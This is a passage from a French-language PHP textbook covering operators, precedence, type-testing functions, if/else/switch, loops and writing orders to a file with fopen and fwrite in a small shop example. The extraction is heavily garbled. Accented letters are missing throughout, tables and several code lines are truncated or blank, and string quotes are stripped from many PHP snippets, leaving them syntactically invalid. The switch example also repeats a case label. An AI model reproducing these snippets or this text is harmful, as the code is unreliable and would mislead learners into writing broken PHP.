Tableau 1.6 : Oprateurs de tableau de PHP
Oprateur Nom
Utilisation Rsultat
Union
$a + $b
==
galit
$a == $b
===
Identit
44
Partie I
Utilisation de PHP
Oprateur Nom
Utilisation Rsultat
!=
Ingalit
$a!= $b
<>
Ingalit
$a <> $b
!==
Vous remarquerez que les oprateurs de tableau du Tableau 1.6 ont tous des oprateurs quivalents qui fonctionnent avec les variables scalaires. Pour autant que vous
vous souveniez que + opre une addition avec les types scalaires et une union avec les
tableaux, les comportements devraient tre cohrents. Vous ne pouvez pas comparer
des tableaux des types scalaires de manire utile.
Loprateur de type
Il nexiste quun seul oprateur de type : instanceof. Cet oprateur est utilis dans la
programmation oriente objet, mais nous le mentionnons ici par souci dexhaustivit (la
programmation oriente objet est prsente au Chapitre 6).
instanceof vous permet de vrifier si un objet est une instance dune classe particulire, comme dans cet exemple :
class classeExemple{};
$monObjet = new classeExemple();
if ($monObjet instanceof classeExemple)
echo "monObjet est une instance de classeExemple";
Chapitre 1
45
+ $qte_bougies * PRIX_BOUGIES;
echo Sous-total: . number_format($montant_total, 2).<br />;
$taux_taxe= 0.10; // le taux de la taxe est de 10%
$montant_total = $montant_total * (1 + $taux_taxe);
echo Total avec les taxes: . number_format($montant_total, 2).
<br />;
Si vous actualisez la page dans votre navigateur, vous devriez obtenir un rsultat
comme celui de la Figure 1.5.
Figure 1.5
Les totaux de la
commande client
ont t calculs, mis
en forme et affichs.
Comme vous pouvez le constater, ce morceau de code fait intervenir plusieurs oprateurs. Les oprateurs daddition (+) et de multiplication (*) y sont utiliss pour calculer
les montants, tandis que loprateur de concatnation de chanes ( .) sert mettre en
forme la sortie des donnes dans la fentre du navigateur.
Par ailleurs, nous faisons appel la fonction number format() pour mettre en forme les
totaux sous forme de chanes deux dcimales. Cette fonction appartient la bibliothque
mathmatique de PHP.
Si vous examinez attentivement les calculs effectus dans le dernier fragment de code
ajout votre script, vous vous interrogerez peut-tre sur lordre dans lequel ces calculs
sont effectus. Considrez par exemple linstruction :
$montant_total = $qte_pneus* PRIX_PNEUS
+$qte_huiles* PRIX_HUILES
+$qte_bougies * PRIX_BOUGIES;
Le total obtenu semble correct (voir Figure 1.5), mais pourquoi les multiplications ontelles t effectues avant les additions ? La rponse cette question rside dans la
notion de priorit des oprateurs, cest--dire dans lordre selon lequel linterprteur
PHP value les oprateurs.
46
Partie I
Utilisation de PHP
Associativit
Oprateur
de gauche droite
de gauche droite
or
de gauche droite
xor
de gauche droite
and
de droite gauche
de gauche droite
= +=
de gauche droite
?:
de gauche droite
||
de gauche droite
&&
de gauche droite
de gauche droite
de gauche droite
&
non pertinent
==!= ===!==
non pertinent
de gauche droite
<< >>
de gauche droite
de gauche droite
* /%
de droite gauche
! ~ ++
de droite gauche
[]
non pertinent
new
non pertinent
()
Chapitre 1
47
Notez que nous navons pas encore tudi loprateur de plus forte priorit : la traditionnelle paire de parenthses. Celle-ci sutilise pour renforcer la priorit dune partie
dune expression, afin de forcer son valuation et de contourner les rgles de priorit
des oprateurs.
Considrez linstruction qui suit, tire du dernier exemple tudi :
$montant_total = $montant_total * (1+$taux_taxe);
48
Partie I
Utilisation de PHP
gettype() semploie en lui passant une variable. La fonction dtermine alors le type de
la variable et renvoie une chane contenant le nom du type : bool, int, double, string,
array, object, resource ou NULL. Elle renvoie unknown type sil ne sagit pas dun des
types PHP standard.
Pour utiliser settype(), il faut passer la fonction la variable dont le type doit tre
modifi, ainsi quune chane contenant le nom du nouveau type appliquer la variable
(voir la liste donne dans le paragraphe prcdent). Voici des instructions illustrant
lusage de ces deux fonctions de variables :
$a = 56;
echo gettype($a).<br>;
settype($a, double);
echo gettype($a).<br>;
Lors du premier appel de la fonction gettype(), la variable $a est de type entier (int).
Aprs lappel de settype(), $a est du type double.
PHP fournit galement des fonctions testant un certain type de variable. Chacune
de ces fonctions prend une variable comme argument et retourne soit true, soit false.
Ces fonctions sont les suivantes :
m
is array().
is string().
is bool().
is object().
is resource().
is null().
Chapitre 1
49
Cette fonction prend un nom de variable comme argument et renvoie true si la variable
existe et false dans le cas contraire. Vous pouvez galement passer une liste de variables
spares par des virgules et isset() renverra true si toutes les variables sont dfinies.
Vous pouvez supprimer une variable au moyen de la fonction unset(), qui fait pendant
la fonction isset(). La fonction unset() a le prototype suivant :
void unset(mixed var[, mixed var[,]]);
La fonction unset() supprime la ou les variables qui lui sont passes en paramtre.
La fonction empty() dtermine si une variable existe et contient une valeur non vide et non
nulle. Elle renvoie true ou false selon le rsultat obtenu. Son prototype est le suivant :
bool empty(mixed var);
Examinons un exemple utilisant ces trois fonctions. Tapez les lignes suivantes la fin
de votre script :
echo
echo
echo
echo
Actualisez la page dans votre navigateur pour observer le rsultat produit par cette srie
dinstructions.
La fonction isset() applique la variable $qte pneus devrait retourner la valeur 1
(true), quelle que soit la valeur saisie dans le champ de formulaire associ cette
variable. Le rsultat retourn par la fonction empty() applique cette variable dpend
en revanche de la valeur saisie (ou non saisie) dans le champ de formulaire.
La variable $absent nexistant pas, la fonction isset() applique ce nom de variable retourne un rsultat vide (false), tandis que la fonction empty() renvoie 1 (true).
Ces fonctions se rvlent donc trs pratiques pour dterminer si lutilisateur du formulaire a ou non rempli les champs qui lui sont proposs.
Rinterprtation des variables
PHP met votre disposition des fonctions qui permettent de mettre en uvre lquivalent
dun transtypage des variables. Voici trois fonctions permettant de raliser cette opration :
int intval(mixed var[, int base]);
float floatval(mixed var);
string strval(mixed var);
50
Partie I
Utilisation de PHP
Chacune de ces fonctions prend une variable en paramtre et renvoie la valeur de cette
variable aprs avoir ralis sa conversion dans le type appropri. La fonction intval()
peut galement vous permettre de spcifier la base pour la conversion lorsque la variable convertir est une chane (vous pouvez ainsi convertir des chanes hexadcimales
en entiers, par exemple).
Structures de contrle
Dans un langage de programmation, les structures de contrle permettent de contrler
le flux dexcution au sein dun programme ou dun script. Les structures de contrle
peuvent tre classes en deux groupes : les structures conditionnelles (ou de branchement) et les structures de rptition, ou boucles. Les sections qui suivent sont consacres
ltude de chacune de ces structures en PHP.
La condition utilise ici est $qte totale == 0. Rappelez-vous que loprateur dgalit
(==) est diffrent de loprateur daffectation (=).
La condition $qte totale == 0 est vraie si la variable $qte totale est gale zro. Si
$qte totale est diffrente de zro, la condition est fausse. Lorsque la condition est
value comme vraie (true), linstruction echo est excute.
Chapitre 1
51
Blocs de code
Dans les structures conditionnelles telles quune structure if, il est souvent ncessaire
dexcuter plusieurs instructions. Dans ce cas, vous navez pas besoin de placer une
nouvelle instruction if avant chaque instruction excuter : il suffit de regrouper les instructions de manire former un bloc. Pour dclarer un bloc, encadrez-le par des accolades :
if( 0 == $qte_totale )
{
echo <p style="color:red">;
echo Votre commande ne contient aucun article!;
echo </p>;
}
Les trois lignes de code places ici entre accolades forment un bloc de code. Lorsque la
condition est value comme vraie, tout le bloc (cest--dire les trois lignes qui le constituent) est excut. Lorsque la condition se rvle fausse, le bloc est intgralement
ignor par linterprteur PHP.
INFO
Comme nous lavons dj mentionn, linterprteur PHP ignore la mise en forme du code. Il
est par consquent fortement recommand dindenter votre code pour en amliorer la lisibilit. Des mises en retrait judicieuses permettent de discerner dun seul coup dil les lignes
des structures conditionnelles qui sont excutes lorsque les conditions sont satisfaites, les
instructions qui sont regroupes en blocs et les instructions qui font partie de boucles ou de
fonctions. Dans les exemples prcdents, linstruction qui dpend de linstruction if et les
instructions qui constituent le bloc sont indentes.
Instructions else
Souvent, il ne suffit pas de dcider quune action doit tre accomplie : il faut aussi choisir
celle qui, parmi un ensemble dactions, doit tre excute.
Une instruction else permet de spcifier une action alternative accomplir lorsque la
condition spcifie dans une instruction if se rvle fausse. Dans lexemple de lentreprise de Bob, il est ncessaire dalerter les clients sils transmettent une commande
vide. Par ailleurs, sils soumettent une commande valide, il faut leur renvoyer un rcapitulatif de leur commande, pas un message davertissement.
Pour prsenter aux clients soit une alerte, soit un rcapitulatif, nous pouvons introduire
une instruction else dans notre code, comme suit :
if( $qte_totale == 0 )
{
echo Votre commande ne contient aucun article!<br>;
}
else
{
echo $qte_pneus . pneus<br>;
echo $qte_huiles . bidons d\huile<br>;
echo $qte_bougies . bougies<br>;
}
52
Partie I
Utilisation de PHP
Vous pouvez ainsi construire des processus logiques complexes en imbriquant des
instructions if les unes dans les autres. Dans le code qui suit, le message davertissement
ne saffichera que lorsque la condition $qte totale == 0 est value comme vraie et
chaque ligne de ce rcapitulatif ne sera produite que si sa propre condition est vraie.
if( $qte_totale == 0)
{
echo Votre commande ne contient aucun article!<br>;
}
else
{
if ( $qte_pneus > 0 )
echo $qte_pneus . pneus<br>;
if ( $qte_huiles > 0 )
echo $qte_huiles . bidons d\huile<br>;
if ( $qte_bougies > 0 )
echo $qte_bougies . bougies<br>;
}
Instructions elseif
Dans bon nombre de situations de prise de dcision, vous devez choisir entre plus de
deux possibilits. Linstruction elseif permet alors de crer une suite de plusieurs
options ; cest une combinaison dune instruction else et dune instruction if. Lorsque
lon prcise une suite de conditions, le programme peut tester chaque condition, jusqu
en trouver une qui soit vraie.
Pour les grosses commandes de pneus, Bob accorde des remises ses clients. Le principe de ces remises est le suivant :
m
Nous pouvons crire le code pour calculer la remise accorde en utilisant des conditions et
des instructions if et elseif, ainsi que loprateur ET (&&) pour combiner deux conditions :
if( $qte_pneus < 10 )
$remise = 0;
elseif( $qte_pneus >= 10 && $qte_pneus <= 49 )
$remise = 5;
elseif( $qte_pneus>= 50 && $qte_pneus <= 99 )
$remise = 10;
elseif( $qte_pneus > 100 )
$remise = 15;
Notez que vous pouvez indiffremment crire elseif ou else if (avec ou sans espace
intermdiaire).
Dans cette cascade dinstructions elseif, une seule instruction (ou un seul bloc
dinstruction) sera excute. Ce point na pas dimportance dans ce cas prcis parce que
Chapitre 1
53
les diffrentes conditions spcifies sexcluent mutuellement les unes des autres (une
seule est vraie un moment donn). En revanche, lorsque plusieurs conditions dun
ensemble peuvent tre vraies simultanment, seule linstruction (ou le bloc dinstructions)
qui suit la premire condition value comme vraie sera excute.
Instructions switch
Une instruction switch est comparable une instruction if, si ce nest quelle permet
dimplmenter une condition susceptible de prendre plus de deux valeurs diffrentes.
Dans une instruction if, la condition peut tre value soit comme vraie, soit comme
fausse alors quavec une instruction switch la condition peut prendre diffrentes
valeurs, pourvu quelles soient toutes du mme type (entier, chane ou double). Vous
devez alors faire appel une instruction case pour grer chaque valeur possible de la
condition et ajouter, ventuellement, un cas par dfaut pour prendre en compte toutes
les situations qui ne correspondent aucune des instructions case.
Bob aimerait connatre la forme de publicit qui se rvle la plus profitable son
commerce. cette fin, il souhaite inclure un sondage dans le formulaire de commande.
Insrez ce code HTML dans votre formulaire de commande et vous obtiendrez le rsultat
montr la Figure 1.6 :
<tr>
<td>Comment avez-vous eu connaissance de notre site?</td>
<td><select name="trouver">
<option value = "a">Client rgulier</option>
<option value = "b">Par un spot publicitaire</option>
<option value = "c">Dans un annuaire tlphonique</option>
<option value = "d">Par un ami</option>
</select>
</td>
</tr>
Figure 1.6
Le formulaire de
commande demande
aux visiteurs comment
ils ont connu le site de
Bob.
54
Partie I
Utilisation de PHP
Ce code HTML ajoute la variable de formulaire trouver, qui peut prendre les valeurs
"a", "b", "c" ou "d". Son traitement en PHP pourrait seffectuer au moyen dune srie
dinstructions if et elseif, comme ici :
if($trouver == a)
echo <P>Client rgulier.</P>;
elseif($trouver == b)
echo <P>Client attir par un spot TV. </P>;
elseif($trouver == c)
echo <P>Client attir par un annuaire tlphonique. </P>;
elseif($trouver == d)
echo <P>Client attir par un ami. </P>;
else
echo <P>Impossible de savoir comment ce client nous a
trouvs.</P>;
Nous pourrions galement parvenir au mme rsultat avec une instruction switch :
switch($trouver)
{
case a:
echo <P>Client rgulier. </P>;
break;
case b:
echo <P> Client attir par un spot TV. </P>;
break;
case c:
echo <P>Client attir par un annuaire tlphonique. </P>;
break;
case c:
echo <P>Client attir par un ami. </P>;
break;
default:
echo <P>Impossible de savoir comment ce client nous a
trouvs.</P>;
break;
}
Ces deux exemples supposent que vous ayez extrait $trouver du tableau $ POST.
Une instruction switch se comporte un peu diffremment dune instruction if ou dune
instruction elseif. Une instruction if naffecte quune seule instruction, moins quun
bloc de code nait t dlibrment cr avec une paire daccolades. Une instruction
switch a le comportement inverse : lorsquune instruction case dune structure switch
est active, linterprteur PHP excute les instructions qui suivent jusqu rencontrer
une instruction break. En labsence dinstruction break, une structure switch conduit
lexcution de tout le code succdant linstruction case value comme vraie. Lorsque linterprteur PHP atteint une instruction break, il excute la ligne de code qui suit
la structure switch.
Chapitre 1
55
Le Listing 1.2 contient le code HTML qui produit ce tableau. Vous pouvez constater
quil est long et rptitif.
Listing 1.2 : freight.html Code HTML gnrant le tableau des cots dexpdition
pays par Bob
<html>
<body>
<table border ="0" cellpadding ="3">
<tr>
56
Partie I
Utilisation de PHP
Du fait de sa structure rptitive, ce code HTML pourrait tre gnr partir dun script
plutt que manuellement. Nous disposons pour cela des structures de rptition qui
permettent dexcuter une instruction ou un bloc de code de manire rptitive.
Boucles while
La boucle while est la structure de rptition la plus simple de PHP. Tout comme
une structure if, elle repose sur le test dune condition. Une boucle while diffre
toutefois dune structure if par le fait quelle excute le bloc de code qui la suit tant
que la condition reste vraie alors quune structure if nexcute quune fois ce bloc
de code si la condition est vraie. Une boucle while sutilise en gnral lorsquon
ignore le nombre de rptitions effectuer pour faire passer la condition de "vrai"
"faux". Lorsque le nombre de rptitions est connu lavance, mieux vaut employer
une boucle for.
Voici la structure de base dune boucle while :
while( condition ) expression;
La boucle while qui suit produit laffichage des nombres compris entre 1 et 5 :
$nbre = 1;
while ($nbre <= 5 )
Chapitre 1
57
{
echo $nbre . "<BR />";
$nbre++;
}
La condition est teste avant chaque itration : si elle est fausse, le bloc nest pas
excut et lexcution de la boucle prend fin. Linterprteur PHP passe alors linstruction
qui suit la boucle while.
Nous pouvons utiliser une boucle while pour accomplir une tche un peu plus utile,
comme afficher le tableau des cots dexpdition montr la Figure 1.7.
Le code donn dans le Listing 1.3 utilise une boucle while pour gnrer le tableau des
frais dexpdition.
Listing 1.3 : freight.php Gnration du tableau des frais dexpdition en PHP
<html>
<body>
<table border="0" cellpadding="3">
<tr>
<td bgcolor="#CCCCCC" align="center">Distance</td>
<td bgcolor="#CCCCCC" align="center">Cot</td>
</tr>
<?php
$distance = 50;
while ($distance <= 250 )
{
echo "<tr>\n <td align=right>$distance</td>\n";
echo " <td align =right>". $distance / 10 ."</td>\n</tr>\n";
$distance += 50;
}
?>
</table>
</body>
</html>
Pour que le code HTML produit par ce script soit plus lisible, vous devez ajouter des
sauts de lignes et des espaces. Comme on la dj voqu, les navigateurs les ignoreront, mais ils seront utiles aux lecteurs. Examinez le code HTML produit par vos scripts
pour vous assurer quil reste lisible.
Dans le Listing 1.3, vous pouvez constater que lon a ajout la squence \n dans certaines chanes. Cette squence reprsente le caractre de nouvelle ligne et produira donc
un saut de ligne lorsquil sera affich.
58
Partie I
Utilisation de PHP
Nous pouvons rcrire la boucle while du Listing 1.3 avec une boucle for. Le code
PHP devient alors :
<?php
for($distance = 50; $distance <= 250; $distance += 50)
{
echo "<tr>\n <td align=right>$distance</td>\n";
echo " <td align=right>". $distance / 10 ."</td>\n</tr>\n";
}
?>
Les deux versions proposes ici, avec une boucle while et avec une boucle for, sont
identiques dun point de vue fonctionnel mais la boucle for apparat lgrement plus
compacte (elle contient deux lignes de moins que la boucle while).
Ces deux types de boucles sont quivalents : aucun nest meilleur que lautre. Dans
chaque situation, il vous appartient de choisir celui qui vous semble le plus intuitif.
Notez quil est possible de combiner des variables dynamiques avec une boucle for
pour traiter automatiquement une suite de champs de formulaire. Si, par exemple, le
Chapitre 1
59
formulaire contient des champs nom1, nom2, nom3, etc., vous pouvez implmenter leur
traitement de la manire suivante :
for ($i=1; $i <= $nbre_noms; $i++)
{
$temp= "nom$i";
echo $$temp.<br />; // ou tout autre traitement ncessaire
}
En crant dynamiquement les noms des variables, nous pouvons accder successivement
aux diffrents champs du formulaire.
Signalons quil existe galement une boucle foreach spcifiquement conue pour les
tableaux. Nous montrerons comment lutiliser au Chapitre 3.
Boucles dowhile
Le dernier type de boucle quil nous reste tudier a un comportement lgrement
diffrent. La structure gnrale dune boucle dowhile est la suivante :
do
expression;
while( condition );
Une boucle dowhile diffre dune boucle while en ce que sa condition est teste la
fin de chaque itration. Il sensuit que dans une boucle dowhile linstruction ou le bloc
formant le corps de la boucle est systmatiquement excut une fois au moins.
Dans lexemple qui suit, o la condition se rvle fausse demble et ne peut jamais tre
vraie, la boucle est excute une premire fois avant que la condition ne soit value et
que lexcution de la boucle prenne fin :
$nbre = 100;
do
{
echo $nbre . <BR />;
}
while ($nbre < 1 );
60
Partie I
Utilisation de PHP
pourrait tre converti dans cette nouvelle syntaxe en utilisant les mots-cls if et endif :
if( $qte_totale == 0):
echo Votre commande ne contient aucun article!<br />;
exit;
endif;
Utiliser declare
Une autre structure de contrle de PHP, la structure declare, nest pas utilise aussi
frquemment pour la programmation quotidienne que ne le sont les autres structures.
La forme gnrale de cette structure de contrle est la suivante :
declare (directive)
{
// bloc
}
Chapitre 1
61
Cette structure sert dfinir des directives dexcution pour le bloc de code autrement
dit, des rgles spcifiant de quelle manire le code qui suit doit tre excut. Actuellement, seule une directive dexcution, appele ticks, a t implmente. Elle se dfinit
en insrant la directive ticks=n et vous permet dexcuter une fonction spcifique
toutes les n lignes dans le bloc de code, ce qui est principalement utile pour le profilage
et le dbogage.
La structure de contrle declare nest mentionne ici que par souci dexhaustivit.
Nous prsenterons quelques exemples concernant lutilisation des fonctions tick aux
Chapitres 23 et 24.
2
Stockage et rcupration
des donnes
Maintenant que vous savez accder aux donnes saisies dans un formulaire HTML et
manipuler ces donnes, nous pouvons examiner les moyens de stockage de ces informations qui permettent de les retrouver et de les utiliser ultrieurement. Dans notre
exemple, les commandes passes en ligne par les clients doivent tre enregistres, de
sorte pouvoir les traiter et les satisfaire ultrieurement.
Dans ce chapitre, nous verrons comment, dans le contexte de lexemple prcdent,
crire dans un fichier la commande transmise par un client et comment la lire ensuite
partir de ce fichier. Nous verrons galement quun tel stockage ne constitue pas toujours
une bonne solution. Si le nombre de commandes est lev, lemploi dun systme de
gestion de base de donnes comme MySQL devient indispensable.
64
Partie I
Utilisation de PHP
Nous avons modifi le formulaire pour lui ajouter un champ permettant de saisir
ladresse de livraison du client (voir Figure 2.1).
Figure 2.1
Dans cette version du formulaire de commande
de lentreprise de Bob,
un champ supplmentaire
est propos pour la saisie
de ladresse de livraison.
Chapitre 2
65
66
Partie I
Utilisation de PHP
Lorsquelle est invoque, la fonction fopen() attend deux, trois ou quatre paramtres.
Le plus souvent, vous nen donnerez que deux, comme dans la ligne de code prcdente.
Le premier paramtre est le nom du fichier ouvrir. Ce nom peut ventuellement contenir un chemin daccs, comme dans linstruction prcdente (le fichier orders.txt est
enregistr dans le rpertoire orders). Nous avons utilis la variable prdfinie de PHP
$ SERVER[DOCUMENT ROOT] mais, comme il est peu pratique de manipuler des variables
aux noms longs, nous lui avons attribu un nom abrg.
Cette variable pointe sur la racine de larborescence des documents du serveur web. La
paire de points ("..") signifie "le rpertoire pre du rpertoire racine des documents" :
ce rpertoire est donc situ lextrieur de larborescence des documents pour des
raisons de scurit. En effet, ce fichier doit demeurer inaccessible partir du Web, sauf
par le biais de linterface que nous allons fournir cet effet. Un tel chemin daccs est
qualifi de relatif, parce quil dcrit un emplacement dans le systme de fichier par
rapport la racine de larborescence des documents.
Puisque nous prfrons utiliser le style abrg pour le rfrencement des variables, il
nous faut ajouter la ligne suivante au dbut de notre script :
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
pour copier le contenu de la variable exprime dans le style long dans une variable au
nom abrg.
De la mme faon que nous disposons de plusieurs possibilits pour accder des
donnes de formulaire, il y a diffrentes possibilits pour accder aux variables prdfinies du serveur. Selon la configuration de votre serveur, vous pouvez dsigner la racine
de larborescence des documents par :
m
$ SERVER[DOCUMENT ROOT]
$DOCUMENT ROOT
Comme pour les donnes de formulaire, nous conseillons dutiliser le premier style.
Il est galement possible dindiquer un chemin daccs absolu, cest--dire partant du
rpertoire racine (/ dans un systme Unix et gnralement C:\ dans un systme
Chapitre 2
67
Trs peu de gens utilisent des barres obliques inverses (pour faire court, on les appelle
souvent antislashes) pour spcifier des chemins daccs en PHP car le code qui en
rsulte ne pourrait sexcuter que sur Windows. Si vous utilisez des barres obliques, au
contraire, votre code fonctionnera sans modification aussi bien sur des ordinateurs
Windows quUnix.
Le deuxime paramtre passer la fonction fopen() est le mode douverture du
fichier, qui doit tre spcifi sous la forme dune chane. Celui-ci indique lusage prvu
pour le fichier. Dans lexemple considr ici, nous avons utilis la valeur w, ce qui
signifie que le fichier doit tre ouvert en criture. Le Tableau 2.1 rcapitule les diffrents modes douverture disponibles.
Tableau 2.1 : Rcapitulatif des diffrents modes douverture dun appel fopen
Mode
Nom du mode
Signification
Lecture
r+
Lecture
criture
68
Partie I
Utilisation de PHP
Tableau 2.1 : Rcapitulatif des diffrents modes douverture dun appel fopen (suite)
Mode
Nom du mode
Signification
w+
criture
criture prudente
x+
criture prudente
Ajout
a+
Ajout
Binaire
Texte
Le choix du mode douverture dpend de la manire dont le systme doit tre utilis.
Dans lexemple donn ici, le choix du mode "w" implique que le fichier ne pourra contenir quune seule commande client la fois : chaque entre dune nouvelle commande,
la commande existante sera efface et remplace par la nouvelle. Ce choix nest
videmment pas le plus judicieux et le mode "a" apparat plus appropri (avec le mode
binaire, selon la recommandation) :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
Chapitre 2
69
de PHP ; voir lAnnexe A). Pour effectuer une telle recherche, le troisime paramtre doit valoir 1. Si vous demandez PHP de se servir de la valeur du paramtre
include path, il est inutile de fournir un nom de rpertoire ou un chemin daccs :
$fp = fopen(orders.txt, ab, true);
Le quatrime paramtre est galement facultatif. La fonction fopen() permet aux noms
de fichiers dtre prfixs avec un protocole (comme http://) et ouverts un emplacement distant. Certains protocoles autorisent un paramtre supplmentaire. Nous traiterons
de cet usage de la fonction fopen() dans les sections suivantes de ce chapitre.
Si fopen() russit ouvrir le fichier, elle renvoie une ressource qui est un descripteur
du fichier et qui doit tre enregistr dans une variable ($fp dans le cas prsent). Cette
variable permet ensuite daccder au fichier pour y lire ou y crire des donnes.
Ouverture de fichiers via FTP ou HTTP
De la mme manire que vous pouvez ouvrir des fichiers locaux en lecture ou en criture, fopen() vous permet douvrir des fichiers via FTP (File Transfer Protocol) ou
HTTP (Hyper Text Transfer Protocol). Vous pouvez empcher cette fonctionnalit en
dsactivant la directive allow url fopen dans le fichier php.ini. Si vous rencontrez
des problmes pour ouvrir les fichiers distants avec fopen(), vrifiez votre fichier
php.ini.
Lorsque le nom de fichier utilis commence par ftp://, une connexion FTP en mode
passif est ouverte sur le serveur indiqu et fopen() renvoie un pointeur sur le dbut du
fichier.
Lorsque le nom de fichier utilis commence par http://, une connexion HTTP est
ouverte sur le serveur indiqu et fopen() renvoie un pointeur sur la rponse fournie. Si
vous utilisez le mode HTTP avec danciennes versions de PHP, vous devez terminer les
noms de rpertoires par des barres obliques, comme ici :
http://www.example.com/
Ncrivez pas :
http://www.example.com
Avec cette dernire formulation (sans barre oblique finale), le serveur web effectuera
normalement une redirection HTTP de sorte vous renvoyer vers la premire adresse
(avec la barre oblique finale). Faites lessai avec votre navigateur.
Notez bien que la casse (lusage de minuscules/majuscules) na pas dimportance
dans les noms de domaines mais peut en avoir dans les noms et chemins daccs des
fichiers.
70
Partie I
Utilisation de PHP
Figure 2.2
PHP affiche un avertissement explicite lorsque louverture dun fichier est impossible.
Face une telle erreur, vous devez vrifier que lutilisateur sous le compte duquel le script
sexcute bnficie des permissions daccs adquates pour le fichier utiliser. Selon la
manire dont est configur votre serveur, le script peut tre excut sous le compte du
serveur web ou sous celui du propritaire du rpertoire contenant le script.
Dans la plupart des systmes, les scripts sont excuts sous le compte du serveur web.
Si, par exemple, votre script est plac dans le rpertoire ~/public_html/chapitre02/ dun
systme Unix, vous pouvez crer un rpertoire accessible tout le monde en criture
afin dy stocker la commande :
mkdir ~/orders
chmod 777 ~/orders
Chapitre 2
71
Gardez bien lesprit le danger que constituent les rpertoires et les fichiers dans
lesquels tout le monde peut crire. Vous devez imprativement viter dautoriser lcriture dans des rpertoires directement accessibles partir du Web. Cest pour cette raison
que, dans lexemple dcrit ici, le rpertoire orders se situe deux sous-rpertoires en
amont, sous le rpertoire public_html. Nous aborderons plus en dtail cet aspect de la
scurit au Chapitre 13.
Si un mauvais paramtrage des permissions daccs constitue lerreur la plus commune
lors de louverture dun fichier, dautres erreurs peuvent galement tre commises.
Lorsquun fichier ne peut pas tre ouvert, il est capital que vous en soyez inform, pour
viter de tenter dy lire ou dy crire des donnes.
Lorsque lappel de la fonction fopen() choue, celle-ci renvoie la valeur false. Vous
pouvez alors traiter lerreur survenue avec plus de convivialit en supprimant le
message derreur PHP et en produisant votre propre message derreur :
@ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
if (!$fp)
{
echo <p><strong>Nous ne pouvons pas traiter votre commande .
pour le moment. Ressayez plus tard.</strong></p> .
</body></html>;
exit;
}
La prsence du symbole @ avant lappel de la fonction fopen() informe PHP quil doit
supprimer toute erreur produite par lappel la fonction. Il est gnralement prfrable
dtre inform lorsquun problme survient mais, dans le cas prsent, nous nous occuperons des erreurs un autre endroit du script.
Cette ligne peut galement tre crite de la manire suivante :
$fp = @fopen("$DOCUMENT_ROOT/../orders/orders.txt", a);
Mais cette formulation rend moins vident le recours loprateur de suppression des
erreurs.
La mthode dcrite ici est un moyen trs simple de grer les erreurs. Nous prsenterons
une mthode plus lgante au Chapitre 7. Chaque chose en son temps.
Linstruction if teste la variable $fp pour dterminer si lappel fopen a renvoy un
descripteur de fichier valide. Si ce nest pas le cas, elle affiche un message derreur et
interrompt lexcution du script. La page se terminant alors ce stade, nous avons
inclus les balises de fermeture HTML appropries de manire produire un code
HTML valide.
72
Partie I
Utilisation de PHP
Avec cette dernire approche, le rsultat obtenu lexcution du script est celui de la
Figure 2.3.
Figure 2.3
Pour plus de convivialit, vous pouvez
afficher vos propres
messages derreur
la place des avertissements produits par
PHP.
Cette instruction demande linterprteur PHP dcrire la chane stocke dans la variable
$chaine sortie dans le fichier dcrit par $fp.
La fonction file put contents() est une alternative fwrite(). Elle possde le
prototype suivant :
int file_put_contents ( string nomfichier,
string donnees
[, int drapeaux
[, resource contexte]])
Cette fonction crit la chane contenue dans donnees dans le fichier nomfichier sans
requrir dappel la fonction fopen() (ni fclose()). Cette fonction est apparue avec
PHP5, tout comme file get contents() que nous prsenterons bientt. Les paramtres facultatifs drapeaux et contexte sont le plus souvent utiliss lors de lcriture vers
des fichiers distants en utilisant par exemple HTTP ou FTP (nous prsenterons ces
fonctions au Chapitre 18).
Chapitre 2
73
Le troisime paramtre, longueur, indique le nombre maximal doctets crire. Lorsque ce paramtre est fourni, la fonction fwrite() crit le contenu de chane dans le
fichier dcrit par descripteur, jusqu atteindre la fin de la chane ou jusqu avoir crit
le nombre doctets spcifi dans longueur.
Vous pouvez connatre la longueur dune chane en utilisant la fonction intgre
strlen() de PHP, comme ceci :
fwrite($fp, $chaine_sortie, strlen($chaine_sortie));
Vous pouvez utiliser ce troisime paramtre lors de lcriture en mode binaire, car il
permet dviter certains problmes de compatibilit entre les plates-formes.
Formats de fichiers
Lors de la cration dun fichier de donnes comme celui que nous avons cr dans notre
exemple, le choix du format de stockage des donnes vous appartient (bien sr, si vous
prvoyez dutiliser le fichier de donnes avec une autre application, vous devez en tenir
compte dans votre choix).
Construisons une chane reprsentant un enregistrement dans notre fichier de donnes.
Nous pouvons procder comme ceci :
$chaine_sortie = "$date\t$qte_pneus pneus\t$qte_huiles bidons " .
"dhuile\t$qte_bougies bougies\t$montant_total \t" .
"$adresse\n";
Dans cet exemple simple, chaque commande est stocke dans une ligne distincte du
fichier des commandes. Lcriture dun enregistrement par ligne nous permet en effet
dutiliser un sparateur denregistrement simple : le caractre de nouvelle ligne. Les
caractres de nouvelle ligne sont invisibles et sont reprsents par la squence "\n".
Pour chaque nouvelle commande, les champs de donnes sont crits dans le mme
ordre et sont distingus les uns des autres par le caractre de tabulation, reprsent par
la squence "\t". Mieux vaut choisir un dlimiteur de champ qui facilite ensuite la
rcupration des donnes.
Le sparateur ou dlimiteur doivent tre des caractres peu susceptibles dtre contenus
dans les donnes entres, faute de quoi nous devrions traiter ces donnes pour retirer ou
protger toutes les instances du dlimiteur. Nous reviendrons sur le traitement des
donnes fournies en entre au Chapitre 4. Pour lheure, nous supposerons quaucun
client na introduit de tabulation au cours de sa saisie dans le formulaire de commande.
74
Partie I
Utilisation de PHP
Il est difficile, mais pas impossible, quun utilisateur dun formulaire HTML insre une
tabulation ou un saut de ligne dans un champ de saisie HTML dune seule ligne.
En utilisant un sparateur de champ spcial, nous pourrons par la suite scinder plus
facilement les donnes en variables distinctes lorsque nous voudrons rcuprer les
donnes contenues dans le fichier. Nous reviendrons sur ce point au Chapitre 3. Pour
linstant, nous nous contenterons de traiter chaque commande comme une chane dun
seul tenant.
Le Listing 2.1 donne un exemple du contenu du fichier orders.txt aprs lcriture de
quelques commandes.
Listing 2.1 : orders.txt Exemple de contenu possible
20:30, le 31-03 4 pneus
20:42, le 31-03 1 pneus
20:43, le 31-03 0 pneus
434.00
100.00
26.00
Chapitre 2
75
76
Partie I
Utilisation de PHP
}
fwrite($fp, $chaine_sortie, strlen($chaine_sortie));
fclose($fp);
echo <p>Commande sauvegarde.</p>;
?>
</body>
</html>
Chapitre 2
77
La fonction fgets() lit une ligne la fois dans un fichier. Dans notre exemple, la
